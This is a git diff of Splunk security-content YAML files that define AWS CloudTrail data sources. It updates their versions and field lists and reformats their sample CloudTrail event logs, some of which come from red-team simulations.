"false"}}, "invokedBy": "AWS Internal"}, "eventTime": "2021-08-18T23:17:30Z", "eventSource": "ecr.amazonaws.com", "eventName": "PutImage", "awsRegion": "eu-central-1", "sourceIPAddress": "AWS Internal", "userAgent": "AWS Internal", "requestParameters": {"registryId": "111111111112", "repositoryName": "devsecops/cat_dog_server", "imageManifest": "{\n \"schemaVersion\": 2,\n \"mediaType\": \"application/vnd.docker.distribution.manifest.v2+json\",\n \"config\": {\n \"mediaType\": \"application/vnd.docker.container.image.v1+json\",\n \"size\": 6591,\n \"digest\": \"sha256:547fc07c53533763d68ebdfdc45529b1db45301d07824410bcc30df866d67df1\"\n },\n \"layers\": [\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 2811969,\n \"digest\": \"sha256:540db60ca9383eac9e418f78490994d0af424aab7bf6d0e47ac8ed4e2e9bcbba\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 35426616,\n \"digest\": \"sha256:f4fa1ac42c97abe89e0cc807af0ae4b63fbec2a5209a75a7239d099702c7fd80\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 2347076,\n \"digest\": \"sha256:2b3e10d0c87c453eed1378e102ff1cc17aa4e3eed2159b7505959777a6225059\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 280,\n \"digest\": \"sha256:43bd2fc3ba418e309449b8c82d723d9069ebb81863050dc0d6ad6e6ec0683808\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 92,\n \"digest\": \"sha256:803d6b58954d4daee18ed071281627f8214f3d2ba1b9a419ab8834029310942a\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 373,\n \"digest\": \"sha256:e664d5491b5c81e901a2293fbc025532a7cae0dcc75ce7418f854209aaa2474c\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 2383293,\n \"digest\": \"sha256:b827c586a783ce490b79907607d535f99f42360b6ba86a4b2ac3e7f01542144d\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 10001,\n \"digest\": \"sha256:0dd85ef396bcaded88fab4a8079d6b8bd5e3f8cf7eeb9b93306ffdb63401ba0a\"\n }\n ]\n}", "imageManifestMediaType": "application/vnd.docker.distribution.manifest.v2+json", "imageTag": "latest"}, "responseElements": {"image": {"registryId": "111111111112", "repositoryName": "devsecops/cat_dog_server", "imageId": {"imageDigest": "sha256:b7798f35949cc1a2d435c9ac59ab69e857fe635a359c96e4f56a8498ce02019c", "imageTag": "latest"}, "imageManifest": "{\n \"schemaVersion\": 2,\n \"mediaType\": \"application/vnd.docker.distribution.manifest.v2+json\",\n \"config\": {\n \"mediaType\": \"application/vnd.docker.container.image.v1+json\",\n \"size\": 6591,\n \"digest\": \"sha256:547fc07c53533763d68ebdfdc45529b1db45301d07824410bcc30df866d67df1\"\n },\n \"layers\": [\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 2811969,\n \"digest\": \"sha256:540db60ca9383eac9e418f78490994d0af424aab7bf6d0e47ac8ed4e2e9bcbba\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 35426616,\n \"digest\": \"sha256:f4fa1ac42c97abe89e0cc807af0ae4b63fbec2a5209a75a7239d099702c7fd80\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 2347076,\n \"digest\": \"sha256:2b3e10d0c87c453eed1378e102ff1cc17aa4e3eed2159b7505959777a6225059\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 280,\n \"digest\": \"sha256:43bd2fc3ba418e309449b8c82d723d9069ebb81863050dc0d6ad6e6ec0683808\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 92,\n \"digest\": \"sha256:803d6b58954d4daee18ed071281627f8214f3d2ba1b9a419ab8834029310942a\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 373,\n \"digest\": \"sha256:e664d5491b5c81e901a2293fbc025532a7cae0dcc75ce7418f854209aaa2474c\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 2383293,\n \"digest\": \"sha256:b827c586a783ce490b79907607d535f99f42360b6ba86a4b2ac3e7f01542144d\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 10001,\n \"digest\": \"sha256:0dd85ef396bcaded88fab4a8079d6b8bd5e3f8cf7eeb9b93306ffdb63401ba0a\"\n }\n ]\n}", "imageManifestMediaType": "application/vnd.docker.distribution.manifest.v2+json"}}, "requestID": "805a31e6-0fed-433b-b393-f463c6881334", "eventID": "1aef3588-ae84-4f1f-9276-8ec94ee6a7e9", "readOnly": false, "resources": [{"accountId": "111111111111", "ARN": "arn:aws:ecr:eu-central-1:1111111111111:repository/devsecops/cat_dog_server"}], "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management"} diff --git a/data_sources/aws_cloudtrail_putkeypolicy.yml b/data_sources/aws_cloudtrail_putkeypolicy.yml index 57b95d703a..a0d618c3b3 100644 --- a/data_sources/aws_cloudtrail_putkeypolicy.yml +++ b/data_sources/aws_cloudtrail_putkeypolicy.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail PutKeyPolicy id: 9c54c86b-43b9-4bb8-915d-6838beb7f07c -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs changes made to AWS Key Management Service (KMS) key policies, including updates and permission assignments. mitre_components: @@ -16,49 +16,83 @@ supported_TA: version: 8.2.2 fields: - _time + - action - app - - awsRegion + - authentication_method - aws_account_id + - awsRegion + - change_type - command - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone + - desc - dest - dvc - errorCode + - errorMessage - eventCategory - eventID - eventName - eventSource - eventTime - eventType - - eventVersion - eventtype + - eventVersion - host - index - linecount - managementEvent - msg + - object + - object_attrs - object_category - product - punct - readOnly + - reason - recipientAccountId - region - requestID + - requestParameters + - requestParameters.aliasName - requestParameters.bypassPolicyLockoutSafetyCheck + - requestParameters.customerMasterKeySpec + - requestParameters.description + - requestParameters.encryptionAlgorithm + - requestParameters.encryptionContext.aws:acm:arn + - requestParameters.encryptionContext.aws:cloudfront:arn + - requestParameters.encryptionContext.aws:lambda:FunctionArn + - requestParameters.encryptionContext.aws:s3:arn + - requestParameters.encryptionContext.SecretARN + - requestParameters.encryptionContext.SecretVersionId - requestParameters.keyId + - requestParameters.keySpec + - requestParameters.keyUsage + - requestParameters.limit + - requestParameters.origin + - requestParameters.pendingWindowInDays - requestParameters.policy - requestParameters.policyName - - resources{}.ARN + - requestParameters.targetKeyId - resources{}.accountId + - resources{}.ARN - resources{}.type - responseElements + - responseElements.deletionDate + - responseElements.keyId + - responseElements.keyMetadata.arn + - responseElements.keyMetadata.aWSAccountId + - responseElements.keyMetadata.creationDate + - responseElements.keyMetadata.customerMasterKeySpec + - responseElements.keyMetadata.description + - responseElements.keyMetadata.enabled + - responseElements.keyMetadata.encryptionAlgorithms{} + - responseElements.keyMetadata.keyId + - responseElements.keyMetadata.keyManager + - responseElements.keyMetadata.keyState + - responseElements.keyMetadata.keyUsage + - responseElements.keyMetadata.origin + - result + - result_id + - sharedEventID - signature - source - sourceIPAddress @@ -66,16 +100,28 @@ fields: - splunk_server - src - src_ip + - src_user + - src_user_id + - src_user_name + - src_user_type - start_time + - status - tag - tag::eventtype - - timeendpos - - timestartpos + - timestamp - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId - userIdentity.arn + - userIdentity.invokedBy - userIdentity.principalId - userIdentity.sessionContext.attributes.creationDate - userIdentity.sessionContext.attributes.mfaAuthenticated @@ -85,18 +131,13 @@ fields: - userIdentity.sessionContext.sessionIssuer.type - userIdentity.sessionContext.sessionIssuer.userName - userIdentity.type + - userIdentity.userName - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product - vendor_region + - vpcEndpointId output_fields: - dest - user @@ -105,4 +146,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "AssumedRole", "principalId": "AROAIJIESMXKGCJRCTPR6:pbareiss@splunk.local", "arn": "arn:aws:sts::111111111111:assumed-role/okta_adm_role/pbareiss@splunk.local", "accountId": "111111111111", "accessKeyId": "ASIAYTOGP2RLK74OPBDR", "sessionContext": {"sessionIssuer": {"type": "Role", "principalId": "AROAIJIESMXKGCJRCTPR6", "arn": "arn:aws:iam::111111111111:role/okta_adm_role", "accountId": "111111111111", "userName": "okta_adm_role"}, "webIdFederationData": {}, "attributes": {"mfaAuthenticated": "false", "creationDate": "2021-01-11T09:03:18Z"}}}, "eventTime": "2021-01-11T11:04:39Z", "eventSource": "kms.amazonaws.com", "eventName": "PutKeyPolicy", "awsRegion": "us-west-2", "sourceIPAddress": "95.90.199.65", "userAgent": "aws-internal/3 aws-sdk-java/1.11.893 Linux/4.9.230-0.1.ac.223.84.332.metal1.x86_64 OpenJDK_64-Bit_Server_VM/25.272-b10 java/1.8.0_272 vendor/Oracle_Corporation", "requestParameters": {"keyId": "f2a82583-a7d3-4c92-8787-fe2baab1cee1", "policyName": "default", "policy": "{\n \"Version\": \"2012-10-17\",\n \"Id\": \"key-consolepolicy-3\",\n \"Statement\": [\n {\n \"Sid\": \"Enable IAM User Permissions\",\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"AWS\": \"arn:aws:iam::111111111111:root\"\n },\n \"Action\": \"kms:*\",\n \"Resource\": \"*\"\n },\n {\n \"Sid\": \"Allow access for Key Administrators\",\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"AWS\": \"arn:aws:iam::111111111111:user/patrick_cli\"\n },\n \"Action\": [\n \"kms:Create*\",\n \"kms:Describe*\",\n \"kms:Enable*\",\n \"kms:List*\",\n \"kms:Put*\",\n \"kms:Update*\",\n \"kms:Revoke*\",\n \"kms:Disable*\",\n \"kms:Get*\",\n \"kms:Delete*\",\n \"kms:TagResource\",\n \"kms:UntagResource\",\n \"kms:ScheduleKeyDeletion\",\n \"kms:CancelKeyDeletion\"\n ],\n \"Resource\": \"*\"\n },\n {\n \"Sid\": \"Allow use of the key\",\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"AWS\": \"arn:aws:iam::111111111111:user/patrick_cli\"\n },\n \"Action\": [\n \"kms:Encrypt\",\n \"kms:Decrypt\",\n \"kms:ReEncrypt*\",\n \"kms:GenerateDataKey*\",\n \"kms:DescribeKey\"\n ],\n \"Resource\": \"*\"\n },\n {\n \"Sid\": \"Allow attachment of persistent resources\",\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"AWS\": \"arn:aws:iam::111111111111:user/patrick_cli\"\n },\n \"Action\": [\n \"kms:CreateGrant\",\n \"kms:ListGrants\",\n \"kms:RevokeGrant\"\n ],\n \"Resource\": \"*\",\n \"Condition\": {\n \"Bool\": {\n \"kms:GrantIsForAWSResource\": \"true\"\n }\n }\n },\n {\n \"Sid\": \"Allow use of the key\",\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"AWS\": \"*\"\n },\n \"Action\": [\n \"kms:Encrypt\"\n ],\n \"Resource\": \"*\"\n }\n ]\n}", "bypassPolicyLockoutSafetyCheck": false}, "responseElements": null, "requestID": "c7836c7a-ca95-47aa-a3fb-a7db0d66fec8", "eventID": "612f17e3-2317-4dd9-8aa3-393bc8a7961b", "readOnly": false, "resources": [{"accountId": "111111111111", "type": "AWS::KMS::Key", "ARN": "arn:aws:kms:us-west-2:111111111111:key/f2a82583-a7d3-4c92-8787-fe2baab1cee1"}], "eventType": "AwsApiCall", "managementEvent": true, "eventCategory": "Management", "recipientAccountId": "111111111111"}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "AssumedRole", "principalId": "AROAIJN34TPOD7C3TZWUU:botocore-session-1610357084", "arn": "arn:aws:sts::111111111111:assumed-role/okta_ro_role/botocore-session-1610357084", "accountId": "111111111111", "accessKeyId": "ASIAJQSQKHIXNXKJ4VHA", "sessionContext": {"sessionIssuer": {"type": "Role", "principalId": "AROAIJN34TPOD7C3TZWUU", "arn": "arn:aws:iam::111111111111:role/okta_ro_role", "accountId": "111111111111", "userName": "okta_ro_role"}, "webIdFederationData": {}, "attributes": {"mfaAuthenticated": "false", "creationDate": "2021-01-11T09:24:45Z"}}, "invokedBy": "lambda.amazonaws.com"}, "eventTime": "2021-01-11T09:25:00Z", "eventSource": "kms.amazonaws.com", "eventName": "Decrypt", "awsRegion": "us-west-2", "sourceIPAddress": "lambda.amazonaws.com", "userAgent": "lambda.amazonaws.com", "requestParameters": {"encryptionAlgorithm": "SYMMETRIC_DEFAULT", "encryptionContext": {"aws:lambda:FunctionArn": "arn:aws:lambda:us-west-2:111111111111:function:security-content-api-prod"}}, "responseElements": null, "requestID": "ae9e56c6-9e66-4a23-a23f-1d286e60f2e3", "eventID": "d9a25e61-43f0-4880-ad27-a66f32ba9fce", "readOnly": true, "resources": [{"accountId": "111111111111", "type": "AWS::KMS::Key", "ARN": "arn:aws:kms:us-west-2:111111111111:key/a2a157d6-b3fa-4c6d-89a0-5e60c981e79a"}], "eventType": "AwsApiCall", "managementEvent": true, "eventCategory": "Management", "recipientAccountId": "111111111111"} diff --git a/data_sources/aws_cloudtrail_replacenetworkaclentry.yml b/data_sources/aws_cloudtrail_replacenetworkaclentry.yml index 40e4c9ae5d..20a3a1a0ea 100644 --- a/data_sources/aws_cloudtrail_replacenetworkaclentry.yml +++ b/data_sources/aws_cloudtrail_replacenetworkaclentry.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail ReplaceNetworkAclEntry id: db0c240e-3754-40e4-86ef-cde018ee9f65 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a network ACL entry is replaced within the AWS CloudTrail. mitre_components: @@ -20,18 +20,11 @@ fields: - _time - action - app - - awsRegion - aws_account_id + - awsRegion - change_type - command - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone + - dest - direction - dvc - errorCode @@ -41,14 +34,17 @@ fields: - eventSource - eventTime - eventType - - eventVersion - eventtype + - eventVersion - host - index - linecount - managementEvent - msg + - object + - object_attrs - object_category + - object_id - product - protocol - protocol_code @@ -78,9 +74,13 @@ fields: - status - tag - tag::eventtype - - timeendpos - - timestartpos - - user + - timestamp + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId @@ -95,13 +95,6 @@ fields: - userIdentity.sessionContext.sessionIssuer.userName - userIdentity.type - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product @@ -114,4 +107,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "AssumedRole", "principalId": "AROAIJIESMXKGCJRCTPR6:pbareiss@splunk.local", "arn": "arn:aws:sts::111111111111:assumed-role/okta_adm_role/pbareiss@splunk.local", "accountId": "111111111111", "accessKeyId": "ASIAYTOGP2RLF3F7BXZK", "sessionContext": {"sessionIssuer": {"type": "Role", "principalId": "AROAIJIESMXKGCJRCTPR6", "arn": "arn:aws:iam::111111111111:role/okta_adm_role", "accountId": "111111111111", "userName": "okta_adm_role"}, "webIdFederationData": {}, "attributes": {"mfaAuthenticated": "false", "creationDate": "2021-01-12T08:36:15Z"}}}, "eventTime": "2021-01-12T08:49:49Z", "eventSource": "ec2.amazonaws.com", "eventName": "ReplaceNetworkAclEntry", "awsRegion": "eu-central-1", "sourceIPAddress": "95.90.199.65", "userAgent": "console.ec2.amazonaws.com", "requestParameters": {"networkAclId": "acl-078ccebebcbabe175", "ruleNumber": 20, "egress": false, "ruleAction": "allow", "icmpTypeCode": {}, "portRange": {}, "aclProtocol": "-1", "cidrBlock": "0.0.0.0/0"}, "responseElements": {"requestId": "97b40da9-9291-4a92-8e9e-892b6887ffc9", "_return": true}, "requestID": "97b40da9-9291-4a92-8e9e-892b6887ffc9", "eventID": "46fe04b8-d007-4933-8bb8-c8b65c1121fa", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "eventCategory": "Management", "recipientAccountId": "111111111111"}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "AssumedRole", "principalId": "AROAIJIESMXKGCJRCTPR6:pbareiss@splunk.local", "arn": "arn:aws:sts::111111111111:assumed-role/okta_adm_role/pbareiss@splunk.local", "accountId": "111111111111", "accessKeyId": "ASIAYTOGP2RLF3F7BXZK", "sessionContext": {"sessionIssuer": {"type": "Role", "principalId": "AROAIJIESMXKGCJRCTPR6", "arn": "arn:aws:iam::111111111111:role/okta_adm_role", "accountId": "111111111111", "userName": "okta_adm_role"}, "webIdFederationData": {}, "attributes": {"mfaAuthenticated": "false", "creationDate": "2021-01-12T08:36:15Z"}}}, "eventTime": "2021-01-12T08:49:49Z", "eventSource": "ec2.amazonaws.com", "eventName": "ReplaceNetworkAclEntry", "awsRegion": "eu-central-1", "sourceIPAddress": "95.90.199.65", "userAgent": "console.ec2.amazonaws.com", "requestParameters": {"networkAclId": "acl-078ccebebcbabe175", "ruleNumber": 20, "egress": false, "ruleAction": "allow", "icmpTypeCode": {}, "portRange": {}, "aclProtocol": "-1", "cidrBlock": "0.0.0.0/0"}, "responseElements": {"requestId": "97b40da9-9291-4a92-8e9e-892b6887ffc9", "_return": true}, "requestID": "97b40da9-9291-4a92-8e9e-892b6887ffc9", "eventID": "46fe04b8-d007-4933-8bb8-c8b65c1121fa", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "eventCategory": "Management", "recipientAccountId": "111111111111"} diff --git a/data_sources/aws_cloudtrail_setdefaultpolicyversion.yml b/data_sources/aws_cloudtrail_setdefaultpolicyversion.yml index 83e554a5ca..89c12de77c 100644 --- a/data_sources/aws_cloudtrail_setdefaultpolicyversion.yml +++ b/data_sources/aws_cloudtrail_setdefaultpolicyversion.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail SetDefaultPolicyVersion id: 06e0b5a0-8d36-485e-befc-4ae79d77ef6c -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when the default version of a resource policy in AWS is set or changed. mitre_components: @@ -20,29 +20,22 @@ fields: - _time - action - app - - awsRegion - aws_account_id + - awsRegion - change_type - command - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - dest - dvc - errorCode + - errorMessage - eventCategory - eventID - eventName - eventSource - eventTime - eventType - - eventVersion - eventtype + - eventVersion - host - index - linecount @@ -52,12 +45,15 @@ fields: - product - punct - readOnly + - reason - recipientAccountId - region - requestID - requestParameters.policyArn - requestParameters.versionId - responseElements + - result + - result_id - signature - source - sourceIPAddress @@ -65,13 +61,19 @@ fields: - splunk_server - src - src_ip + - src_user - start_time - status - tag - tag::eventtype - - timeendpos - - timestartpos + - timestamp - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId @@ -80,13 +82,6 @@ fields: - userIdentity.type - userIdentity.userName - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product @@ -99,4 +94,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLESDK2NOSX", "arn": "arn:aws:iam::111111111111:user/AtomicRedTeam", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLKMZDMPVA", "userName": "AtomicRedTeam"}, "eventTime": "2021-03-02T21:05:49Z", "eventSource": "iam.amazonaws.com", "eventName": "SetDefaultPolicyVersion", "awsRegion": "us-east-1", "sourceIPAddress": "73.15.72.101", "userAgent": "aws-cli/2.0.62 Python/3.9.0 Darwin/19.6.0 source/x86_64 command/iam.set-default-policy-version", "requestParameters": {"policyArn": "arn:aws:iam::111111111111:policy/VulnerablePolicy", "versionId": "v1"}, "responseElements": null, "requestID": "3bdf8738-2eab-4ae8-a858-2e2a4ccfc66b", "eventID": "742f6e55-4bc7-49e2-965f-56ffbc46a980", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "eventCategory": "Management", "recipientAccountId": "111111111111"}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLEHRX5YWNV", "arn": "arn:aws:iam::111111111111:user/bhavin_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLNWREA6ND", "userName": "bhavin_cli"}, "eventTime": "2021-02-25T00:47:28Z", "eventSource": "iam.amazonaws.com", "eventName": "SetDefaultPolicyVersion", "awsRegion": "us-east-1", "sourceIPAddress": "73.15.72.101", "userAgent": "aws-cli/2.0.62 Python/3.9.0 Darwin/19.6.0 source/x86_64 command/iam.set-default-policy-version", "requestParameters": {"policyArn": "arn:aws:iam::111111111111:policy/VulnerablePolicy", "versionId": "v1"}, "responseElements": null, "requestID": "26aeca5f-8610-4abe-9f07-2cf0d958682a", "eventID": "d0fd02d6-385a-4226-8e1e-c409ff5a6a94", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "eventCategory": "Management", "recipientAccountId": "111111111111"} diff --git a/data_sources/aws_cloudtrail_stoplogging.yml b/data_sources/aws_cloudtrail_stoplogging.yml index de9423c9c5..fe96e1a485 100644 --- a/data_sources/aws_cloudtrail_stoplogging.yml +++ b/data_sources/aws_cloudtrail_stoplogging.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail StopLogging id: c5de7c54-4809-4659-bf9f-3bacf8bdfd35 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a cloud service in AWS, such as CloudTrail, is deactivated or stopped. mitre_components: @@ -18,8 +18,8 @@ supported_TA: fields: - _time - app - - awsRegion - aws_account_id + - awsRegion - command - date_hour - date_mday @@ -60,6 +60,7 @@ fields: - splunk_server - src - src_ip + - src_user - start_time - timeendpos - timestartpos @@ -67,6 +68,12 @@ fields: - tlsDetails.clientProvidedHostHeader - tlsDetails.tlsVersion - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId @@ -75,13 +82,6 @@ fields: - userIdentity.type - userIdentity.userName - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product @@ -94,4 +94,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLEHRX5YWNV", "arn": "arn:aws:iam::111111111111:user/bhavin_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLKQ3U2PDY", "userName": "bhavin_cli"}, "eventTime": "2022-06-30T21:26:49Z", "eventSource": "cloudtrail.amazonaws.com", "eventName": "StopLogging", "awsRegion": "us-west-2", "sourceIPAddress": "72.193.184.209", "userAgent": "stratus-red-team_a6a8f8f2-d560-4062-bd0d-c232130cfcc5", "requestParameters": {"name": "my-cloudtrail-trail"}, "responseElements": null, "requestID": "d8b79caa-08d2-4f7e-b93a-73bb7b85f260", "eventID": "9f8d2b82-6e9d-45b8-9055-78d8c00ca416", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.2", "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "clientProvidedHostHeader": "cloudtrail.us-west-2.amazonaws.com"}}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLEHRX5YWNV", "arn": "arn:aws:iam::111111111111:user/bhavin_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLKQ3U2PDY", "userName": "bhavin_cli"}, "eventTime": "2022-06-30T21:26:49Z", "eventSource": "cloudtrail.amazonaws.com", "eventName": "StopLogging", "awsRegion": "us-west-2", "sourceIPAddress": "72.193.184.209", "userAgent": "stratus-red-team_a6a8f8f2-d560-4062-bd0d-c232130cfcc5", "requestParameters": {"name": "my-cloudtrail-trail"}, "responseElements": null, "requestID": "d8b79caa-08d2-4f7e-b93a-73bb7b85f260", "eventID": "9f8d2b82-6e9d-45b8-9055-78d8c00ca416", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.2", "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "clientProvidedHostHeader": "cloudtrail.us-west-2.amazonaws.com"}} diff --git a/data_sources/aws_cloudtrail_updateloginprofile.yml b/data_sources/aws_cloudtrail_updateloginprofile.yml index f62c9e6417..bdf87efbbc 100644 --- a/data_sources/aws_cloudtrail_updateloginprofile.yml +++ b/data_sources/aws_cloudtrail_updateloginprofile.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail UpdateLoginProfile id: 1db79158-e5d3-4d35-9d3c-586e44e09f1c -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when an IAM user's login profile is updated. mitre_components: @@ -20,18 +20,10 @@ fields: - _time - action - app - - awsRegion - aws_account_id + - awsRegion - change_type - command - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - dest - dvc - errorCode @@ -41,8 +33,8 @@ fields: - eventSource - eventTime - eventType - - eventVersion - eventtype + - eventVersion - host - index - linecount @@ -64,13 +56,19 @@ fields: - splunk_server - src - src_ip + - src_user - start_time - status - tag - tag::eventtype - - timeendpos - - timestartpos + - timestamp - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId @@ -79,13 +77,6 @@ fields: - userIdentity.type - userIdentity.userName - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product @@ -98,4 +89,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLEHRX5YWNV", "arn": "arn:aws:iam::111111111111:user/bhavin_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLLAA6NJUM", "userName": "bhavin_cli"}, "eventTime": "2021-03-05T01:02:59Z", "eventSource": "iam.amazonaws.com", "eventName": "UpdateLoginProfile", "awsRegion": "us-east-1", "sourceIPAddress": "73.15.72.101", "userAgent": "aws-cli/2.0.62 Python/3.9.2 Darwin/19.6.0 source/x86_64 command/iam.update-login-profile", "requestParameters": {"userName": "AtomicRedTeam"}, "responseElements": null, "requestID": "08f38478-1749-4fb5-b07c-469d3448777a", "eventID": "033580e7-bbba-4b70-be63-7eeddb04b842", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "eventCategory": "Management", "recipientAccountId": "111111111111"}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLEHRX5YWNV", "arn": "arn:aws:iam::111111111111:user/bhavin_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLLAA6NJUM", "userName": "bhavin_cli"}, "eventTime": "2021-03-05T01:02:59Z", "eventSource": "iam.amazonaws.com", "eventName": "UpdateLoginProfile", "awsRegion": "us-east-1", "sourceIPAddress": "73.15.72.101", "userAgent": "aws-cli/2.0.62 Python/3.9.2 Darwin/19.6.0 source/x86_64 command/iam.update-login-profile", "requestParameters": {"userName": "AtomicRedTeam"}, "responseElements": null, "requestID": "08f38478-1749-4fb5-b07c-469d3448777a", "eventID": "033580e7-bbba-4b70-be63-7eeddb04b842", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "eventCategory": "Management", "recipientAccountId": "111111111111"} diff --git a/data_sources/aws_cloudtrail_updatetrail.yml b/data_sources/aws_cloudtrail_updatetrail.yml index c609919c95..7cd3ef6a9b 100644 --- a/data_sources/aws_cloudtrail_updatetrail.yml +++ b/data_sources/aws_cloudtrail_updatetrail.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail UpdateTrail id: d5b7a1eb-711a-4c96-aa93-235fe3c8a939 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when an AWS CloudTrail trail is updated, typically involving changes to settings or configuration. mitre_components: @@ -19,8 +19,8 @@ supported_TA: fields: - _time - app - - awsRegion - aws_account_id + - awsRegion - command - date_hour - date_mday @@ -69,6 +69,7 @@ fields: - splunk_server - src - src_ip + - src_user - start_time - timeendpos - timestartpos @@ -76,6 